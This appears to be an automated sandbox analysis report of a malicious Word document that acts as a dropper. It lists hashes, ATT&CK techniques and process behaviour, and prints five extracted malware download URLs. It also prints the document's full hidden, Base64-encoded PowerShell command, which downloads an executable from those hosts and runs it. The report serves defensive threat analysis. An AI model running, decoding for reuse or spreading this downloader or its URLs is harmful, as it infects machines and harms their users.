946f2b7669561b2d71bca59bdfa02ff82cb580eb6df077c325b20618a4d8b800

General

Target

946f2b7669561b2d71bca59bdfa02ff82cb580eb6df077c325b20618a4d8b800.doc
Size

213KB
MD5

2d87858d2d5eb98d8e026d07a0fbc371
SHA1

f811c8a6d76611956533bdd4b6e1fac82706730b
SHA256

946f2b7669561b2d71bca59bdfa02ff82cb580eb6df077c325b20618a4d8b800
SHA512

0d28f276a638137bff7bd0c55f182fd336c360c4aa2a8436e3168baa0ef986281ad4d0f5916f923ad9da248a43033bce240b13a67566e97cf3ce5aa7e41e756d
SSDEEP

6144:FF2k4WtGiL3HJk9tD7bdgyD9Wv4G4IFbL:FFvQitkb7bC1bL

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4916	5032	Powershell.exe	83

Blocklisted process makes network request 3 IoCs

flow	pid	Process
27	4916	Powershell.exe
72	4916	Powershell.exe
75	4916	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4916	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2456	WINWORD.EXE
2456	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4916	Powershell.exe
4916	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4916	Powershell.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
2456	WINWORD.EXE
2456	WINWORD.EXE
2456	WINWORD.EXE
2456	WINWORD.EXE
2456	WINWORD.EXE
2456	WINWORD.EXE
2456	WINWORD.EXE
2456	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2456 wrote to memory of 1260	2456	WINWORD.EXE	86
PID 2456 wrote to memory of 1260	2456	WINWORD.EXE	86

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\946f2b7669561b2d71bca59bdfa02ff82cb580eb6df077c325b20618a4d8b800.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2456
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1260

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\5E623846.wmf

Filesize
444B

MD5
ebf914c2542565545bbd065a594565ee

SHA1
41afddcdcba7417d47d6b247a631ad01dccd7659

SHA256
6c344b4f3e6335804d5f37b08a76aceecb5c3b80e13d804a5d60efa548e35a6b

SHA512
c004dbc954d0a86adb12a298ae5be969ed867e4cb18091279b4b84d015fb75c55474e68423d6560c49c27877b2e9033e4576f92f96c1b0afa28a8f8aa8c62f2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDC130.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_suu4mye3.j2v.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2456-12-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

Filesize
2.0MB

Download
memory/2456-9-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

Filesize
2.0MB

Download
memory/2456-4-0x00007FFD0D5F0000-0x00007FFD0D600000-memory.dmp

Filesize
64KB

Download
memory/2456-5-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

Filesize
2.0MB

Download
memory/2456-7-0x00007FFD0D5F0000-0x00007FFD0D600000-memory.dmp

Filesize
64KB

Download
memory/2456-11-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

Filesize
2.0MB

Download
memory/2456-10-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

Filesize
2.0MB

Download
memory/2456-1-0x00007FFD0D5F0000-0x00007FFD0D600000-memory.dmp

Filesize
64KB

Download
memory/2456-13-0x00007FFD0AEA0000-0x00007FFD0AEB0000-memory.dmp

Filesize
64KB

Download
memory/2456-6-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

Filesize
2.0MB

Download
memory/2456-15-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

Filesize
2.0MB

Download
memory/2456-17-0x00007FFD0AEA0000-0x00007FFD0AEB0000-memory.dmp

Filesize
64KB

Download
memory/2456-16-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

Filesize
2.0MB

Download
memory/2456-14-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

Filesize
2.0MB

Download
memory/2456-8-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

Filesize
2.0MB

Download
memory/2456-2-0x00007FFD0D5F0000-0x00007FFD0D600000-memory.dmp

Filesize
64KB

Download
memory/2456-0-0x00007FFD0D5F0000-0x00007FFD0D600000-memory.dmp

Filesize
64KB

Download
memory/2456-3-0x00007FFD4D60D000-0x00007FFD4D60E000-memory.dmp

Filesize
4KB

Download
memory/2456-63-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

Filesize
2.0MB

Download
memory/4916-58-0x0000022EECEB0000-0x0000022EECED2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads